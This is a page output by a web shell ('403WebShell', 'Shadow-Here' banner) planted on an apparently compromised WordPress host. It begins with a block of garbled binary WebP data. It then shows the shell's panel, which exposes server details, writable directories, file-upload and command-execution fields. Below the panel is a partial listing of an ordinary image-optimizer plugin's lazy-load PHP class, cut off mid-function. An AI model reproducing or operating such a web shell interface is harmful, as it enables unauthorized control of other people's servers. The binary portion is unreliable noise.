....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.217.61
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u/n/e/uneseuleoc/crid/web/app/plugins/ewww-image-optimizer/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u/n/e/uneseuleoc/crid/web/app/plugins/ewww-image-optimizer/classes/class-eio-lazy-load.php
<?php
/**
 * Implements Lazy Loading using page parsing and JS functionality.
 *
 * @link https://ewww.io
 * @package EIO
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'EIO_Lazy_Load' ) ) {
	/**
	 * Enables plugin to filter the page content and replace img elements with Lazy Load markup.
	 */
	class EIO_Lazy_Load extends EIO_Page_Parser {

		/**
		 * Base64-encoded placeholder image.
		 *
		 * @access protected
		 * @var string $placeholder_src
		 */
		protected $placeholder_src = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==';

		/**
		 * Indicates if we are filtering ExactDN urls.
		 *
		 * @access protected
		 * @var bool $parsing_exactdn
		 */
		protected $parsing_exactdn = false;

		/**
		 * The folder to store any PIIPs.
		 *
		 * @access protected
		 * @var string $piip_folder
		 */
		protected $piip_folder = '';

		/**
		 * Whether to allow PIIPs.
		 *
		 * @access public
		 * @var bool $allow_piip
		 */
		public $allow_piip = true;

		/**
		 * Register (once) actions and filters for Lazy Load.
		 */
		function __construct() {
			parent::__construct( __FILE__ );
			$this->piip_folder = $this->content_dir . 'lazy/';
			$this->debug_message( 'firing up lazy load' );
			global $eio_lazy_load;
			if ( is_object( $eio_lazy_load ) ) {
				$this->debug_message( 'you are doing it wrong' );
				return 'you are doing it wrong';
			}

			add_action( 'wp_head', array( $this, 'no_js_css' ) );

			add_filter( $this->prefix . 'filter_page_output', array( $this, 'filter_page_output' ), 15 );

			if ( class_exists( 'ExactDN' ) && $this->get_option( $this->prefix . 'exactdn' ) ) {
				global $exactdn;
				$this->exactdn_domain = $exactdn->get_exactdn_domain();
				if ( $this->exactdn_domain ) {
					$this->parsing_exactdn = true;
					$this->debug_message( 'parsing an exactdn page' );
				}
			}

			if ( $this->parsing_exactdn ) {
				$this->allow_piip = true;
			} elseif ( ! is_dir( $this->piip_folder ) ) {
				$this->allow_piip = wp_mkdir_p( $this->piip_folder ) && $this->gd_support();
			} else {
				$this->allow_piip = is_writable( $this->piip_folder ) && $this->gd_support();
			}

			// Filter early, so that others at the default priority take precendence.
			add_filter( 'eio_use_lqip', array( $this, 'maybe_lqip' ), 9 );
			add_filter( 'eio_use_piip', array( $this, 'maybe_piip' ), 9 );
			add_filter( 'eio_use_siip', array( $this, 'maybe_siip' ), 9 );

			// Overrides for admin-ajax images.
			add_filter( 'eio_allow_admin_lazyload', array( $this, 'allow_admin_lazyload' ) );

			// Load the appropriate JS.
			if ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) {
				// Load the non-minified and separate versions of the lazy load scripts.
				add_action( 'wp_enqueue_scripts', array( $this, 'debug_script' ) );
			} else {
				// Load the minified, combined version of the lazy load script.
				add_action( 'wp_enqueue_scripts', array( $this, 'min_script' ) );
			}
		}

		/**
		 * Starts an output buffer and registers the callback function to do WebP replacement.
		 */
		function buffer_start() {
			ob_start( array( $this, 'filter_page_output' ) );
		}

		/**
		 * Replaces images within a srcset attribute, just a placeholder at the moment.
		 *
		 * @param string $srcset A valid srcset attribute from an img element.
		 * @return bool|string False if no changes were made, or the new srcset if any WebP images replaced the originals.
		 */
		function srcset_replace( $srcset ) {
			return $srcset;
		}

		/**
		 * Search for img elements and rewrite them for Lazy Load with fallback to noscript elements.
		 *
		 * @param string $buffer The full HTML page generated since the output buffer was started.
		 * @return string The altered buffer containing the full page with Lazy Load attributes.
		 */
		function filter_page_output( $buffer ) {
			$this->debug_message( '<b>' . __METHOD__ . '()</b>' );
			// Don't foul up the admin side of things, unless a plugin needs to.
			if ( is_admin() &&
				/**
				 * Provide plugins a way of running Lazy Load for images in the WordPress Dashboard (wp-admin).
				 *
				 * @param bool false Allow Lazy Load to run on the Dashboard. Default to false.
				 */
				false === apply_filters( 'eio_allow_admin_lazyload', false )
			) {
				$this->debug_message( 'is_admin' );
				return $buffer;
			}
			// Don't lazy load in these cases...
			$uri = $_SERVER['REQUEST_URI'];
			if (
				empty( $buffer ) ||
				! empty( $_GET['cornerstone'] ) ||
				strpos( $uri, 'cornerstone-endpoint' ) !== false ||
				! empty( $_GET['ct_builder'] ) ||
				! empty( $_GET['elementor-preview'] ) ||
				! empty( $_GET['et_fb'] ) ||
				! empty( $_GET['tatsu'] ) ||
				( ! empty( $_POST['action'] ) && 'tatsu_get_concepts' === $_POST['action'] ) ||
				! apply_filters( 'eio_do_lazyload', true ) ||
				is_feed() ||
				is_preview() ||
				( defined( 'REST_REQUEST' ) && REST_REQUEST ) ||
				wp_script_is( 'twentytwenty-twentytwenty', 'enqueued' ) ||
				preg_match( '/^<\?xml/', $buffer ) ||
				strpos( $buffer, 'amp-boilerplate' )
			) {
				if ( empty( $buffer ) ) {
					$this->debug_message( 'empty buffer' );
				}
				if ( ! empty( $_GET['cornerstone'] ) || strpos( $uri, 'cornerstone-endpoint' ) !== false ) {
					$this->debug_message( 'cornerstone editor' );
				}
				if ( ! empty( $_GET['ct_builder'] ) ) {
					$this->debug_message( 'oxygen builder' );
				}
				if ( ! empty( $_GET['elementor-preview'] ) ) {
					$this->debug_message( 'elementor preview' );
				}
				if ( ! empty( $_GET['et_fb'] ) ) {
					$this->debug_message( 'et_fb' );
				}
				if ( ! empty( $_GET['tatsu'] ) || ( ! empty( $_POST['action'] ) && 'tatsu_get_concepts' === $_POST['action'] ) ) {
					$this->debug_message( 'tatsu' );
				}
				if ( ! apply_filters( 'eio_do_lazyload', true ) ) {
					$this->debug_message( 'do_lazyload short-circuit' );
				}
				if ( is_feed() ) {
					$this->debug_message( 'is_feed' );
				}
				if ( is_preview() ) {
					$this->debug_message( 'is_preview' );
				}
				if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
					$this->debug_message( 'rest request' );
				}
				if ( wp_script_is( 'twentytwenty-twentytwenty', 'enqueued' ) ) {
					$this->debug_message( 'twentytwenty enqueued' );
				}
				if ( preg_match( '/^<\?xml/', $buffer ) ) {
					$this->debug_message( 'not html, xml tag found' );
				}
				if ( strpos( $buffer, 'amp-boilerplate' ) ) {
					$this->debug_message( 'AMP page processing' );
				}
				return $buffer;
			}

			global $exactdn;
			$above_the_fold   = apply_filters( 'eio_lazy_fold', 0 );
			$images_processed = 0;

			// Clean the buffer of incompatible sections.
			$search_buffer = preg_replace( '/<div id="footer_photostream".*?\/div>/s', '', $buffer );
			$search_buffer = preg_replace( '/<(noscript|script).*?\/\1>/s', '', $search_buffer );

			$images = $this->get_images_from_html( $search_buffer, false );
			if ( ! empty( $images[0] ) && $this->is_iterable( $images[0] ) ) {
				foreach ( $images[0] as $index => $image ) {
					$images_processed++;
					if ( $images_processed <= $above_the_fold ) {
						continue;
					}
					$file = $images['img_url'][ $index ];
					$this->debug_message( "parsing an image: $file" );
					if ( $this->validate_image_tag( $image ) ) {
						$this->debug_message( 'found a valid image tag' );
						$this->debug_message( "original image tag: $image" );
						$orig_img = $image;
						$noscript = '<noscript>' . $orig_img . '</noscript>';
						$this->set_attribute( $image, 'data-src', $file, true );
						$srcset = $this->get_attribute( $image, 'srcset' );

						$placeholder_src = $this->placeholder_src;
						if ( false === strpos( $file, 'nggid' ) && ! preg_match( '#\.svg(\?|$)#', $file ) && apply_filters( 'eio_use_lqip', true, $file ) && $this->parsing_exactdn && strpos( $file, $this->exactdn_domain ) ) {
							$this->debug_message( 'using lqip' );
							list( $width, $height ) = $this->get_dimensions_from_filename( $file );
							if ( $width && $height && $width < 201 && $height < 201 ) {
								$placeholder_src = $exactdn->generate_url( $this->content_url . 'lazy/placeholder-' . $width . 'x' . $height . '.png' );
							} else {
								$placeholder_src = add_query_arg( array( 'lazy' => 1 ), $file );
							}
						} elseif ( $this->allow_piip && $srcset && apply_filters( 'eio_use_piip', true, $file ) ) {
							$this->debug_message( 'trying piip' );
							// Get image dimensions for PNG placeholder.
							list( $width, $height ) = $this->get_dimensions_from_filename( $file );

							$width_attr  = $this->get_attribute( $image, 'width' );
							$height_attr = $this->get_attribute( $image, 'height' );

							// Can't use a relative width or height, so unset the dimensions in favor of not breaking things.
							if ( false !== strpos( $width_attr, '%' ) || false !== strpos( $height_attr, '%' ) ) {
								$width_attr  = false;
								$height_attr = false;
							}

							if ( false === $width || false === $height ) {
								$width  = $width_attr;
								$height = $height_attr;
							}

							// Falsify them if empty.
							$width  = $width ? (int) $width : false;
							$height = $height ? (int) $height : false;
							if ( $width && $height ) {
								$this->debug_message( "creating piip of $width x $height" );
								$placeholder_src = $this->create_piip( $width, $height );
							}
						} elseif ( apply_filters( 'eio_use_siip', true, $file ) ) {
							$this->debug_message( 'trying siip' );
							$width  = $this->get_attribute( $image, 'width' );
							$height = $this->get_attribute( $image, 'height' );

							// Can't use a relative width or height, so unset the dimensions in favor of not breaking things.
							if ( false !== strpos( $width, '%' ) || false !== strpos( $height, '%' ) ) {
								$width  = false;
								$height = false;
							}

							// Falsify them if empty.
							$width  = $width ? (int) $width : false;
							$height = $height ? (int) $height : false;
							if ( $width && $height ) {
								$placeholder_src = "data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 $width $height'%3E%3C/svg%3E";
							}
						}
						$this->debug_message( "current placeholder is $placeholder_src" );

						if ( $srcset ) {
							$placeholder_src = apply_filters( 'eio_lazy_placeholder', $placeholder_src, $image );
							if ( strpos( $placeholder_src, '64,R0lGOD' ) ) {
								$this->set_attribute( $image, 'srcset', $placeholder_src, true );
								$this->remove_attribute( $image, 'src' );
							} else {
								$this->set_attribute( $image, 'src', $placeholder_src, true );
								$this->remove_attribute( $image, 'srcset' );
							}
							$this->set_attribute( $image, 'data-srcset', $srcset, true );
							$srcset_sizes = $this->get_attribute( $image, 'sizes' );
							// Return false on this filter to disable automatic sizes calculation,
							// or use the sizes value passed via the filter to conditionally disable it.
							if ( apply_filters( 'eio_lazy_responsive', $srcset_sizes ) ) {
								$this->set_attribute( $image, 'data-sizes', 'auto', true );
								$this->remove_attribute( $image, 'sizes' );
							}
						} else {
							$this->set_attribute( $image, 'src', $placeholder_src, true );
						}
						$this->set_attribute( $image, 'loading', 'lazy' );
						$this->set_attribute( $image, 'class', $this->get_attribute( $image, 'class' ) . ' lazyload', true );
						$buffer = str_replace( $orig_img, $image . $noscript, $buffer );
					}
				} // End foreach().
			} // End if().
			// Process background images on div elements.
			$buffer = $this->parse_background_images( $buffer, 'div' );
			// Process background images on li elements.
			$buffer = $this->parse_background_images( $buffer, 'li' );
			// Process background images on span elements.
			$buffer = $this->parse_background_images( $buffer, 'span' );
			// Process background images on section elements.
			$buffer = $this->parse_background_images( $buffer, 'section' );
			// Images listed as picture/source elements. Mostly for NextGEN, but should work anywhere.
			$pictures = $this->get_picture_tags_from_html( $buffer );
			if ( $this->is_iterable( $pictures ) ) {
				foreach ( $pictures as $index => $picture ) {
					$sources = $this->get_elements_from_html( $picture, 'source' );
					if ( $this->is_iterable( $sources ) ) {
						foreach ( $sources as $source ) {
							if ( false !== strpos( $source, 'data-src' ) ) {
								continue;
							}
							$this->debug_message( "parsing a picture source: $source" );
							$srcset = $this->get_attribute( $source, 'srcset' );
							if ( $srcset ) {
								$this->debug_message( 'found srcset in source' );
								$lazy_source = $source;
								$this->set_attribute( $lazy_source, 'data-srcset', $srcset );
								$this->set_attribute( $lazy_source, 'srcset', $this->placeholder_src, true );
								$picture = str_replace( $source, $lazy_source, $picture );
							}
						}
						if ( $picture !== $pictures[ $index ] ) {
							$this->debug_message( 'lazified sources for picture element' );
							$buffer = str_replace( $pictures[ $index ], $picture, $buffer );
						}
					}
				}
			}
			// Video elements, looking for poster attributes that are images.
			/* $videos = $this->get_elements_from_html( $buffer, 'video' ); */
			$videos = '';
			if ( $this->is_iterable( $videos ) ) {
				foreach ( $videos as $index => $video ) {
					$this->debug_message( 'parsing a video element' );
					$file = $this->get_attribute( $video, 'poster' );
					if ( $file ) {
						$this->debug_message( "checking webp for video poster: $file" );
						if ( $this->validate_image_tag( $file ) ) {
							$this->set_attribute( $video, 'data-poster-webp', $this->placeholder_src );
							$this->set_attribute( $video, 'data-poster-image', $file );
							$this->remove_attribute( $video, 'poster' );
							$this->debug_message( "found webp for video poster: $file" );
							$buffer = str_replace( $videos[ $index ], $video, $buffer );
						}
					}
				}
			}
			$this->debug_message( 'all done parsing page for lazy' );
			return $buffer;
		}

		/**
		 * Parse elements of a given type for inline CSS background images.
		 *
		 * @param string $buffer The HTML content to parse.
		 * @param string $tag_type The type of HTML tag to look for.
		 * @return string The modified content with LL markup.
		 */
		function parse_background_images( $buffer, $tag_type ) {
			$elements = $this->get_elements_from_html( $buffer, $tag_type );
			if ( $this->is_iterable( $elements ) ) {
				foreach ( $elements as $index => $element ) {
					$this->debug_message( "parsing a $tag_type" );
					if ( false === strpos( $element, 'background:' ) && false === strpos( $element, 'background-image:' ) ) {
						continue;
					}
					$this->debug_message( 'element contains background/background-image:' );
					if ( ! $this->validate_bgimage_tag( $element ) ) {
						continue;
					}
					$this->debug_message( 'element is valid' );
					$style = $this->get_attribute( $element, 'style' );
					if ( empty( $style ) ) {
						continue;
					}
					$this->debug_message( "checking style attr for background-image: $style" );
					$bg_image_url = $this->get_background_image_url( $style );
					if ( $bg_image_url ) {
						$this->debug_message( 'bg-image url found' );
						$new_style = $this->remove_background_image( $style );
						if ( $style !== $new_style ) {
							$this->debug_message( 'style modified, continuing' );
							$this->set_attribute( $element, 'class', $this->get_attribute( $element, 'class' ) . ' lazyload', true );
							$this->set_attribute( $element, 'data-bg', $bg_image_url );
							$element = str_replace( $style, $new_style, $element );
						}
					}
					if ( $element !== $elements[ $index ] ) {
						$this->debug_message( "$tag_type modified, replacing in html source" );
						$buffer = str_replace( $elements[ $index ], $element, $buffer );
					}
				}
			}
			return $buffer;
		}

		/**
		 * Checks if the tag is allowed to be lazy loaded.
		 *
		 * @param string $image The image (img) tag.
		 * @return bool True if the tag is allowed, false otherwise.
		 */
		function validate_image_tag( $image ) {
			$this->debug_message( '<b>' . __METHOD__ . '()</b>' );
			if (
				strpos( $image, 'base64,R0lGOD' ) ||
				strpos( $image, 'lazy-load/images/1x1' ) ||
				strpos( $image, '/assets/images/' )
			) {
				$this->debug_message( 'lazy load placeholder detected' );
				return false;
			}

			// Skip inline data URIs.
			$image_src = $this->get_attribute( $image, 'src' );
			if ( false !== strpos( $image_src, 'data:image' ) ) {
				return false;
			}
			if ( false !== strpos( $image, 'data:image' ) && false !== strpos( $image, 'lazyload' ) ) {
				return false;
			}
			// Ignore 0-size Pinterest schema images.
